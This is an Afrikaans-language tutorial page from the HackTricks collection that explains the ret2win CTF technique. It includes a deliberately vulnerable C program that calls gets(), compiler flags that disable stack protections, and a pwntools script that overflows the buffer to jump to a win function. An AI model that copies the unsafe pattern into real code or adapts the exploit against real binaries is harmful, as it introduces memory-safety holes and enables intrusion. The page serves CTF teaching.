hacktricks/binary-exploitation/stack-overflow/ret2win
2024-07-18 22:16:31 +00:00
..
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:16:31 +00:00
ret2win-arm64.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:16:31 +00:00

Ret2win

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Basiese Inligting

Ret2win uitdagings is 'n gewilde kategorie in Capture The Flag (CTF) kompetisies, veral in take wat binarie uitbuiting behels. Die doel is om 'n kwesbaarheid in 'n gegewe binêre te benut om 'n spesifieke, nie-aangeroep funksie binne die binêre uit te voer, wat dikwels iets soos win, flag, ens. genoem word. Hierdie funksie, wanneer dit uitgevoer word, druk gewoonlik 'n vlag of 'n suksesboodskap uit. Die uitdaging behels tipies die oorskryding van die terug adres op die stapel om die uitvoeringsvloei na die gewenste funksie te lei. Hier is 'n meer gedetailleerde verduideliking met voorbeelde:

C Voorbeeld

Oorweeg 'n eenvoudige C-program met 'n kwesbaarheid en 'n win funksie wat ons van plan is om aan te roep:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Om hierdie program te kompileer sonder stapelbeskerming en met ASLR gedeaktiveer, kan jy die volgende opdrag gebruik:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Compile die program as 'n 32-bit binêre (dit is opsioneel maar algemeen in CTF uitdagings).
  • -fno-stack-protector: Deaktiveer beskerming teen stapel oorgange.
  • -z execstack: Laat uitvoering van kode op die stapel toe.
  • -no-pie: Deaktiveer Posisie Onafhanklike Uitvoerbare om te verseker dat die adres van die win funksie nie verander nie.
  • -o vulnerable: Noem die uitvoer lêer vulnerable.

Python Exploit met Pwntools

Vir die exploit, sal ons pwntools gebruik, 'n kragtige CTF raamwerk vir die skryf van exploits. Die exploit skrip sal 'n payload skep om die buffer te oorloop en die terugkeer adres met die adres van die win funksie te oorskryf.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Om die adres van die win funksie te vind, kan jy gdb, objdump, of enige ander hulpmiddel gebruik wat jou toelaat om binêre lêers te ondersoek. Byvoorbeeld, met objdump, kan jy gebruik:

objdump -d vulnerable | grep win

This command will show you the assembly of the win function, including its starting address.

Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer dit deur die vulnerable_function verwerk word, die buffer oorloop en die terugkeeradres op die stapel met die adres van win oorskryf. Wanneer vulnerable_function terugkeer, in plaas daarvan om na main terug te keer of te verlaat, spring dit na win, en die boodskap word gedruk.

Protections

  • PIE moet gedeaktiveer word sodat die adres betroubaar is oor uitvoerings of die adres waar die funksie gestoor sal word nie altyd dieselfde sal wees nie en jy 'n lek nodig sal hê om uit te vind waar die win-funksie gelaai is. In sommige gevalle, wanneer die funksie wat die oorloop veroorsaak read of soortgelyk is, kan jy 'n Deeltelike Oorskrywing van 1 of 2 bytes doen om die terugkeeradres na die win-funksie te verander. Vanweë hoe ASLR werk, is die laaste drie hex nibble nie gerandomiseer nie, so daar is 'n 1/16 kans (1 nibble) om die korrekte terugkeeradres te kry.
  • Stack Canaries moet ook gedeaktiveer word of die gecompromitteerde EIP terugkeeradres sal nooit gevolg word nie.

Other examples & References

ARM64 Example

{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}